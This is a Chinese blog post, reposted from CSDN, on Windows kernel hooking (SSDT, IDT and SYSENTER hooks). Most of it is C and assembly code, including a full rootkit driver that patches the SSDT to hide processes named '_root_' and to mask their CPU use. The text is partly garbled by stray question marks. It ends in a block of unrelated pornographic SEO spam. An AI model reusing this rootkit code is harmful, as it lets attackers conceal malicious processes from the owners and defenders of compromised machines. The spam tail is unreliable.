• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            S.l.e!ep.¢%

            像打了激速一樣,以四倍的速度運轉,開心的工作
            簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
            posts - 1098, comments - 335, trackbacks - 0, articles - 1
              C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

            【HOOK技術深入解析】

            Posted on 2009-10-25 12:18 S.l.e!ep.¢% 閱讀(2099) 評論(0)  編輯 收藏 引用 所屬分類: RootKit

            【詳細過程】
            ? 這次主要說說核心層的hook。包括SSDT-hook,IDT-hook,sysenter-hook。歡迎討論,指正!內核層需要驅動,有這方面的基礎最好,如果不會,了解下其中的思路也可以的。
            ?
            ? II. SSDT-hook,IDT-hook,sysenter-hook
            ? 一.SSDT-hook
            ? (一)一般思路:
            ? 1.先來了解一下,什么是SSDT
            ? SSDT既System Service Dispath? Table。在了解他之前,我們先了解一下NT的基本組建。在 Windows NT 下,NT 的 executive(NTOSKRNL.EXE 的一部分)提供了核心系統服務。各種 Win32、OS/2 和 POSIX 的 APIs 都是以 DLL 的形式提供的。這些dll中的 APIs 轉過來調用了 NT executive 提供的服務。盡管調用了相同的系統服務,但由于子系統不同,API 函數的函數名也不同。例如,要用Win32 API 打開一個文件,應用程序會調用 CreateFile(),而要用 POSIX API,則應用程序調用 open() 函數。這兩種應用程序最終都會調用 NT executive 中的 NtCreateFile() 系統服務。
            系統組建.jpg
            系統組件.JPG
            用戶模式(User mode)的所有調用,如Kernel32,User32.dll, Advapi32.dll等提供的API,最終都封裝在Ntdll.dll中,然后通過Int 2E或SYSENTER進入到內核模式,通過服務ID,在System Service Dispatcher Table中分派系統函數,舉個具體的例子,再如下圖
            調用過程.jpg
            調用過程.JPG
            ? 從上可知,SSDT就是一個表,這個表中有內核調用的函數地址。從上圖可見,當用戶層調用FindNextFile函數時,最終會調用內核層的NtQueryDirectoryFile函數,而這個函數的地址就在SSDT表中,如果我們事先把這個地址改成我們特定函數的地址,那么,哈哈。。。。。。。下來詳細了解一下,SSDT的結構,如下圖:
            SSDT.jpg
            SSDT.JPG
            ? KeServiceDescriptorTable:是由內核(Ntoskrnl.exe)導出的一個表,這個表是訪問SSDT的關鍵,具體結構是
            ? typedef struct ServiceDescriptorTable {
            ? PVOID ServiceTableBase;
            ? PVOID ServiceCounterTable(0);
            ? unsigned int NumberOfServices;
            ? PVOID ParamTableBase;
            ? }
            ?
            ? 其中,
            ? ServiceTableBase System Service Dispatch Table 的基地址。
            ? NumberOfServices 由 ServiceTableBase 描述的服務的數目。
            ? ServiceCounterTable 此域用于操作系統的 checked builds,包含著 SSDT 中每個服務被調用次數的計數器。這個計數器由 INT 2Eh 處理程序 (KiSystemService)更新。
            ? ParamTableBase 包含每個系統服務參數字節數表的基地址。
            ? System Service Dispath Table(SSDT):系統服務分發表,給出了服務函數的地址,每個地址4子節長。
            ? System Service Parameter Table(SSPT):系統服務參數表,定義了對應函數的參數字節,每個函數對應一個字節。如在0x804AB3BF處的函數需0x18字節的參數。
            ? 還有一種這樣的表,叫KeServiceDescriptorTableShadow,它主要包含GDI服務,也就是我們常用的和窗口,桌面有關的,具體存在于Win32k.sys。在如圖:
            ? 服務分發.jpg
            服務分發.JPG
            ? 右側的服務分發就通過KeServiceDescriptorTableShadow。
            ? 那么下來該咋辦呢?下來就是去改變SSDT所指向的函數,使之指向我們自己的函數。
            ? 2.Hook前的準備-改變SSDT內存的保護
            ? 系統對SSDT都是只讀的,不能寫。如果試圖去寫,等你的就是藍臉。一般可以修改內存屬性的方法有:通過cr0寄存器及Memory Descriptor List(MDL)。
            ? (1)改變CR0寄存器的第1位
            ? Windows對內存的分配,是采用的分頁管理。其中有個CR0寄存器,如下圖:
            CR0.jpg
            cr0.jpg??
            ? 其中第1位叫做保護屬性位,控制著頁的讀或寫屬性。如果為1,則可以讀/寫/執行;如果為0,則只可以讀/執行。SSDT,IDT的頁屬性在默認下都是只讀,可執行的,但不能寫。所以現在要把這一位設置成1。
            ? (2)通過Memory Descriptor List(MDL)
            ? 也就是把原來SSDT的區域映射到我們自己的MDL區域中,并把這個區域設置成可寫。MDL的結構:
            ? typedef struct _MDL {
            ? struct _MDL *Next;??
            ? CSHORT Size;??????
            ? CSHORT MdlFlags;? //關鍵在這里,將來設置成MDL_MAPPED_TO_SYSTEM_VA ,這樣一來,這塊區域就可寫
            ? struct _EPROCESS *Process;
            ? PVOID MappedSystemVa;
            ? PVOID StartVa;
            ? ULONG ByteCount;
            ? ULONG ByteOffset;
            ? } MDL, *PMDL;
            ? 首先需要知道KeServiceDscriptorTable的基址和入口數,這樣就可以用MmCreateMdl創建一個有起始地址和大小的內存區域。然后把這個MDL結構的flag改成
            ? MDL_MAPPED_TO_SYSTEM_VA ,那么這個區域就可以寫了。最后把這個內存區域調用MmMapLockedPages鎖定在內存中。大體框架如下:
            ? //先聲明一個System Service Descriptor Table,我們知道SSDT及SSPT都從這個表中指向
            ? #pragma pack(1)
            ? typedef struct ServiceDescriptorEntry {
            ?
            ????????? unsigned int *ServiceTableBase;
            ?
            ????????? unsigned int *ServiceCounterTableBase;
            ?
            ????????? unsigned int NumberOfServices;
            ?
            ????????? unsigned char *ParamTableBase;
            ?
            ? } SSDT_Entry;
            ?
            ? #pragma pack()
            ?
            ? __declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;
            ?
            ?
            ? /
            ? PMDL? g_pmdlSystemCall;
            ?
            ? PVOID *MappedSystemCallTable;
            ? // 代碼
            ? // 保存原系統調用位置
            ?
            ?
            ?
            ? // 映射我們的區域
            ?
            ? g_pmdlSystemCall = MmCreateMdl(NULL,
            ?
            ???????????????????? KeServiceDescriptorTable.ServiceTableBase,
            ?
            ???????????????????? KeServiceDescriptorTable.NumberOfServices*4);
            ?
            ? if(!g_pmdlSystemCall)
            ?
            ???? return STATUS_UNSUCCESSFUL;
            ?
            ? MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
            ?
            ? // 改變MDL的flags
            ?
            ? g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
            ?
            ?????????????????????????????? MDL_MAPPED_TO_SYSTEM_VA;
            ?
            ?
            ? //在內存中索定,不讓換出
            ? MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
            ?
            ? 現在遇到的第一個問題解決了,但接著面臨另外一個問題,如何獲得SSDT中函數的地址呢?
            ? 3.四個有用的宏
            ? SYSTEMSERVICE macro:可以獲得由ntoskrnl.exe導出函數,以Zw*開頭函數的地址,這個函數的返回值就是Nt*函數,Nt*函數的地址就在SSDT中
            ? SYSCALL_INDEX macro:獲得Zw*函數的地址并返回與之通信的函數在SSDT中的索引。
            ? 這兩個宏之所以能工作,是因為所有的Zw*函數都開始于opcode:MOV eax, ULONG,這里的ULONG就是系統調用函數在SSDT中的索引。
            ? HOOK_SYSCALL和UNHOOK_SYSCALL macros:獲得Zw*函數的地址,取得他的索引,自動的交換SSDT中索引所對應的函數地址和我們hook函數的地址。
            ? 這四個宏具體是:
            ? #define SYSTEMSERVICE(_func) \
            ????????? KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]
            ?
            ? #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
            ?
            ? #define HOOK_SYSCALL(_Function, _Hook, _Orig )?????? \
            ?
            ????????? _Orig = (PVOID) InterlockedExchange( (PLONG) \
            ?
            ????????? &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
            ?
            ? #define UNHOOK_SYSCALL(_Func, _Hook, _Orig )? \
            ?
            ????????? InterlockedExchange((PLONG)?????????? \
            ?
            ????????? &MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)
            ?????
            ? 4.小試牛刀:利用SSDT Hook隱藏進程
            ? 我們所熟知的任務管理器,能察看系統中的所有進程及其他很多信息,這是由于調用了一個叫ZwQuerySystemInformation的內核函數,具體結構是:
            ? NTSTATUS NewZwQuerySystemInformation(
            ? IN ULONG SystemInformationClass,? //如果這值是5,則代表系統中所有進程信息
            ? IN PVOID SystemInformation,? //這就是最終列舉出的信息,和上面的值有關
            ? IN ULONG SystemInformationLength, //后兩個不重要
            ? OUT PULONG ReturnLength)
            ? 如果用我們自己函數,這個函數可以把我們關心的進程過濾掉,再把它與原函數調換,則可達到隱藏的目的,大體思路如下:
            ? (1)? 突破SSDT的內存保護,如上所用的MDL方法
            ? (2)? 實現自己的NewZwQuerySystemInformation函數,過濾掉以某些字符開頭的進程
            ? (3)? 用上面介紹的宏來交換ZwQuerySystemInformation與我們自己的New*函數
            ? (4)? 卸載New*函數,完成
            ? 具體實例:來自Rootkit.com,我做了注釋,代碼也很精小。
            #include "ntddk.h"
            #pragma pack(1)
            typedef struct ServiceDescriptorEntry {
            ??????? unsigned int *ServiceTableBase;
            ??????? unsigned int *ServiceCounterTableBase; //僅適用于checked build版本
            ??????? unsigned int NumberOfServices;
            ??????? unsigned char *ParamTableBase;
            } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
            #pragma pack()

            __declspec(dllimport)? ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
            //獲得SSDT基址宏
            #define SYSTEMSERVICE(_function)? KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]


            PMDL? g_pmdlSystemCall;
            PVOID *MappedSystemCallTable;
            //獲得函數在SSDT中的索引宏
            #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
            //調換自己的hook函數與原系統函數的地址
            #define HOOK_SYSCALL(_Function, _Hook, _Orig )? \
            ?????? _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
            //卸載hook函數
            #define UNHOOK_SYSCALL(_Function, _Hook, _Orig )? \
            ?????? InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

            //聲明各種結構
            struct _SYSTEM_THREADS
            {
            ??????? LARGE_INTEGER?????????? KernelTime;
            ??????? LARGE_INTEGER?????????? UserTime;
            ??????? LARGE_INTEGER?????????? CreateTime;
            ??????? ULONG?????????????????????????? WaitTime;
            ??????? PVOID?????????????????????????? StartAddress;
            ??????? CLIENT_ID?????????????????????? ClientIs;
            ??????? KPRIORITY?????????????????????? Priority;
            ??????? KPRIORITY?????????????????????? BasePriority;
            ??????? ULONG?????????????????????????? ContextSwitchCount;
            ??????? ULONG?????????????????????????? ThreadState;
            ??????? KWAIT_REASON??????????? WaitReason;
            };

            struct _SYSTEM_PROCESSES
            {
            ??????? ULONG?????????????????????????? NextEntryDelta;
            ??????? ULONG?????????????????????????? ThreadCount;
            ??????? ULONG?????????????????????????? Reserved[6];
            ??????? LARGE_INTEGER?????????? CreateTime;
            ??????? LARGE_INTEGER?????????? UserTime;
            ??????? LARGE_INTEGER?????????? KernelTime;
            ??????? UNICODE_STRING????????? ProcessName;
            ??????? KPRIORITY?????????????????????? BasePriority;
            ??????? ULONG?????????????????????????? ProcessId;
            ??????? ULONG?????????????????????????? InheritedFromProcessId;
            ??????? ULONG?????????????????????????? HandleCount;
            ??????? ULONG?????????????????????????? Reserved2[2];
            ??????? VM_COUNTERS???????????????????? VmCounters;
            ??????? IO_COUNTERS???????????????????? IoCounters; //windows 2000 only
            ??????? struct _SYSTEM_THREADS????????? Threads[1];
            };

            // Added by Creative of rootkit.com
            struct _SYSTEM_PROCESSOR_TIMES
            {
            ??? LARGE_INTEGER????????? IdleTime;
            ??? LARGE_INTEGER????????? KernelTime;
            ??? LARGE_INTEGER????????? UserTime;
            ??? LARGE_INTEGER????????? DpcTime;
            ??? LARGE_INTEGER????????? InterruptTime;
            ??? ULONG????????????? InterruptCount;
            };


            NTSYSAPI
            NTSTATUS
            NTAPI ZwQuerySystemInformation(
            ??????????? IN ULONG SystemInformationClass,
            ??????????????????????? IN PVOID SystemInformation,
            ??????????????????????? IN ULONG SystemInformationLength,
            ??????????????????????? OUT PULONG ReturnLength);


            typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
            ??????????? ULONG SystemInformationCLass,
            ??????????????????????? PVOID SystemInformation,
            ??????????????????????? ULONG SystemInformationLength,
            ??????????????????????? PULONG ReturnLength
            );

            ZWQUERYSYSTEMINFORMATION??????? OldZwQuerySystemInformation;

            // Added by Creative of rootkit.com
            LARGE_INTEGER????????? m_UserTime;
            LARGE_INTEGER????????? m_KernelTime;


            //我們的hook函數,過濾掉以"_root_"開頭的進程
            NTSTATUS NewZwQuerySystemInformation(
            ??????????? IN ULONG SystemInformationClass,
            ??????????? IN PVOID SystemInformation,
            ??????????? IN ULONG SystemInformationLength,
            ??????????? OUT PULONG ReturnLength)
            {

            ?? NTSTATUS ntStatus;

            ?? ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
            ????????? SystemInformationClass,
            ????????? SystemInformation,
            ????????? SystemInformationLength,
            ????????? ReturnLength );

            ?? if( NT_SUCCESS(ntStatus))
            ?? {
            ????? // Asking for a file and directory listing
            ????? if(SystemInformationClass == 5)
            ????? {
            ?????? // 列舉系統進程鏈表
            ???? // 尋找以"_root_"開頭的進程
            ????
            ?????????
            ???? struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
            ??????????? struct _SYSTEM_PROCESSES *prev = NULL;
            ????
            ???? while(curr)
            ???? {
            ??????????? //DbgPrint("Current item is %x\n", curr);
            ????? if (curr->ProcessName.Buffer != NULL)
            ????? {
            ??????? if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
            ??????? {
            ????????? m_UserTime.QuadPart += curr->UserTime.QuadPart;
            ????????? m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

            ????????? if(prev) // Middle or Last entry
            ????????? {
            ??????????? if(curr->NextEntryDelta)
            ????????????? prev->NextEntryDelta += curr->NextEntryDelta;
            ??????????? else? // we are last, so make prev the end
            ????????????? prev->NextEntryDelta = 0;
            ????????? }
            ????????? else
            ????????? {
            ??????????? if(curr->NextEntryDelta)
            ??????????? {
            ????????????? // we are first in the list, so move it forward
            ????????????? (char *)SystemInformation += curr->NextEntryDelta;
            ??????????? }
            ??????????? else // we are the only process!
            ????????????? SystemInformation = NULL;
            ????????? }
            ??????? }
            ????? }
            ????? else // Idle process入口
            ????? {
            ???????? //? 把_root_進程的時間加給Idle進程,Idle稱空閑時間
            ?????????
            ???????? curr->UserTime.QuadPart += m_UserTime.QuadPart;
            ???????? curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

            ???????? // 重設時間,為下一次過濾
            ???????? m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
            ????? }
            ????? prev = curr;
            ??????? if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
            ??????? else curr = NULL;
            ?????? }
            ??? }
            ??? else if (SystemInformationClass == 8) // 列舉系統進程時間
            ??? {
            ???????? struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
            ???????? times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
            ??? }

            ?? }
            ?? return ntStatus;
            }


            VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
            {
            ?? DbgPrint("ROOTKIT: OnUnload called\n");

            ?? // 卸載hook
            ?? UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );

            ?? // 解索并釋放MDL
            ?? if(g_pmdlSystemCall)
            ?? {
            ????? MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
            ????? IoFreeMdl(g_pmdlSystemCall);
            ?? }
            }


            NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
            ?????????? IN PUNICODE_STRING theRegistryPath)
            {
            ?? // 注冊一個卸載的分發函數,與與應用層溝通
            ?? theDriverObject->DriverUnload? = OnUnload;

            ?? // 初始化全局時間為零
            ?? // 這將會解決時間問題,如果不這樣,盡管隱藏了進程,但時間的消耗會不變,cpu 100%
            ?? m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;

            ?? // 儲存舊的函數地址
            ?? OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

            ?? // 把SSDT隱射到我們的區域,以便修改它為可寫屬性
            ?? g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
            ?? if(!g_pmdlSystemCall)
            ????? return STATUS_UNSUCCESSFUL;

            ?? MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

            ?? // 改變MDL的Flags屬性為可寫,既然可寫當然可讀,可執行
            ?? g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;

            ?? MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);

            ?? // 用了宏,把原來的Zw*替換成我們的New*函數。至此已完成了我們的主要兩步,先突破了SSDT的保護,接著用宏更改了目標函數,下來就剩下具體的過濾任務了
            ?? HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
            ?????????????????????????????
            ?? return STATUS_SUCCESS;
            }
            ?
            ? 二.IDT hook
            ? (一)基本思路:IDT(Interrupt Descriptor Table)中斷描述符表,是用來處理中斷的。中斷就是停下現在的活動,去完成新的任務。一個中斷可以起源于軟件或硬件。比如,出現頁錯誤,調用IDT中的0x0E?;蛴脩暨M程請求系統服務(SSDT)時,調用IDT中的0x2E。而系統服務的調用是經常的,這個中斷就能觸發。我們現在就想辦法,先在系統中找到IDT,然后確定0x2E在IDT中的地址,最后用我們的函數地址去取代它,這樣以來,用戶的進程(可以特定設置)一調用系統服務,我們的hook函數即被激發。
            ? (二)需解決的問題:從上面分析可以看出,我們大概需要解決這幾個問題:
            ? 1.IDT如何獲取呢?SIDT指令可以辦到,它可以在內存中找到IDT,返回一個IDTINFO結構的地址。這個結構中就含有IDT的高半地址和低半地址。為了方便把這兩個半地址合在一起,我們可以用一個宏。IDTINFO,和宏的結構如下:
            ? typedef struct
            ? {
            ? WORD IDTLimit;
            ? WORD LowIDTbase;? //IDT的低半地址
            ? WORD HiIDTbase;??? //IDT的高半地址
            ? } IDTINFO;
            ? 方便獲取地址存取的宏
            ? #define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))<< 16))
            ? 2.IDT有最多256個入口,我們現在要的是其中的0x2E,這個中斷號的入口地址如何獲取呢?
            ?? #pragma pack(1)
            ? typedef struct
            ? {
            ? WORD LowOffset;?????????? //入口的低半地址
            ? WORD selector;
            ? BYTE unused_lo;
            ? unsigned char unused_hi:5;???? // stored TYPE ?
            ? unsigned char DPL:2;
            ? unsigned char P:1;???????? // vector is present
            ? WORD HiOffset;????????? //入口地址的低半地址
            ? } IDTENTRY;
            ? #pragma pack()
            ? 知道了這個入口結構,就相當于知道了每間房(可以把IDT看作是一排有256間房組成的線性結構)的長度,我們先獲取所有的入口idt_entrys,那么第0x2E個房間的地址也就可以確定了,即idt_entrys[0x2E]。
            ? 3.如果得到了0x2e的地址,如何用我們的hook地址改寫原中斷地址呢? 見以下核心代碼:
            ? DWORD KiRealSystemServiceISR_Ptr; // 真正的2E句柄,保存以便恢復hook
            ? #define NT_SYSTEM_SERVICE_INT 0x2e
            ? //我們的hook函數
            ? int HookInterrupts()
            ? {
            ?
            ???? IDTINFO idt_info;????????? //SIDT將返回的結構
            ?
            ???? IDTENTRY* idt_entries;??? //IDT的所有入口
            ?
            ???? IDTENTRY* int2e_entry;??? //我們目標的入口
            ?
            ???? __asm{
            ?
            ??????? sidt idt_info;???????? //獲取IDTINFO
            ?
            ???? }
            ??? //獲取所有的入口
            ???? idt_entries =
            ?
            ??? (IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
            ? //保存真實的2e地址
            ???? KiRealSystemServiceISR_Ptr =
            ??????????????????????????????? MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset,
            ?
            ?????????? idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset);
            ?
            ??
            ? //獲取0x2E的入口地址
            ???? int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]);
            ?
            ???? __asm{
            ?
            ?????? cli;?????????????????????? // 屏蔽中斷,防止被打擾
            ?
            ?????? lea eax,MyKiSystemService; // 獲得我們hook函數的地址,保存在eax
            ?
            ?????? mov ebx, int2e_entry;????? // 0x2E在IDT中的地址,ebx中分地高兩個半地址
            ?
            ?????? mov [ebx],ax;????????????? // 把我們hook函數的地半地址寫入真是第半地址
            ?
            ???? shr eax,16???????????????? //eax右移16,得到高半地址
            ?
            ?????? mov [ebx+6],ax;?????????? // 寫入高半地址
            ?
            ???? sti;????????????????????? //開中斷
            ?
            ???? }
            ?
            ???? return 0;
            ?
            ? }
            具體代碼見:www.rootkit.com/vault/fuzen_op/strace_Fuzen.zip
            ? (三)注意點:
            ? 1.每個處理器都有個IDT,所以對于多CPU一定要注意,所有的IDT都要hook。
            ? 2.在winxp,win2k3,vsta下失效。
            ?
            ? 三.SYSENTRY hook
            ? 為了性能的考慮,xp后的系統都改用sysentry命令來進入ring0,去調用SSDT中的服務,不再是通過IDT中的 int 2E。這也使得我們hook也變得相對容易了。
            ? 首先獲得sysentry的地址,然后改之,不用再考慮IDT了。見下面的代碼:
            ? #include "ntddk.h"
            ?
            ? ULONG d_origKiFastCallEntry; // 原ntoskrnl!KiFastCallEntry地址
            ?
            ? VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
            ? {
            ??? DbgPrint("ROOTKIT: OnUnload called\n");
            ? }
            ?
            ? // Hook function
            ? __declspec(naked) MyKiFastCallEntry()
            ? {
            ??? __asm {
            ????? jmp [d_origKiFastCallEntry]? //這啥都沒做,換成你想干的
            ????????? }
            ? }
            ?
            ? NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
            ? {
            ??? theDriverObject->DriverUnload? = OnUnload;
            ?
            ??? __asm {
            ???????????????????? mov ecx, 0x176????????????????
            ????? rdmsr????????????????????????? // 讀IA3_SYSENTER_EIP寄存器值,存有sysenter的地址????????????
            ????? mov d_origKiFastCallEntry, eax //保存原值,以便恢復
            ????? mov eax, MyKiFastCallEntry???? // hook函數地址
            ????? wrmsr????????????????????????? // 將hook函數移入IA32_SYSENTER_EIP寄存器
            ??? }
            ?
            ??? return STATUS_SUCCESS;
            ? }
            ?
            ?
            ?基本的改變數據結構的hook就說到這里,當然還有DKOM這種高級的技術,有興趣的自己去看看吧。


            本文來自CSDN博客,轉載請標明出處:http://blog.csdn.net/geagle/archive/2007/05/07/1598610.aspx

            久久亚洲春色中文字幕久久久 | 伊人久久无码精品中文字幕| 精品久久久久久亚洲| 久久九九精品99国产精品| 一本色道久久综合狠狠躁| 97香蕉久久夜色精品国产 | 一97日本道伊人久久综合影院| 亚洲人成无码www久久久| 伊人久久大香线蕉综合网站| 国产精品久久久久蜜芽| 亚洲精品乱码久久久久66| 欧美久久久久久| 精品国产一区二区三区久久久狼| 99久久超碰中文字幕伊人| 久久国产精品-国产精品| 国产精品久久久99| 国产亚洲成人久久| 伊人色综合九久久天天蜜桃 | 久久天天躁狠狠躁夜夜网站| 久久天天躁狠狠躁夜夜躁2O2O| 精品久久久久久无码专区不卡| 麻豆精品久久精品色综合| 武侠古典久久婷婷狼人伊人| 国产偷久久久精品专区| 久久99国产精一区二区三区| 免费一级欧美大片久久网| 亚洲欧美日韩久久精品第一区| avtt天堂网久久精品| 久久亚洲中文字幕精品一区| 色婷婷久久综合中文久久蜜桃av| 国产2021久久精品| 亚洲欧美日韩中文久久| 精品人妻伦九区久久AAA片69| 国产精品美女久久福利网站| 久久精品无码一区二区三区| 久久免费看黄a级毛片| 久久se精品一区二区影院| 久久精品国产亚洲av影院| 欧洲国产伦久久久久久久| 久久免费精品视频| 伊人色综合久久天天人手人婷|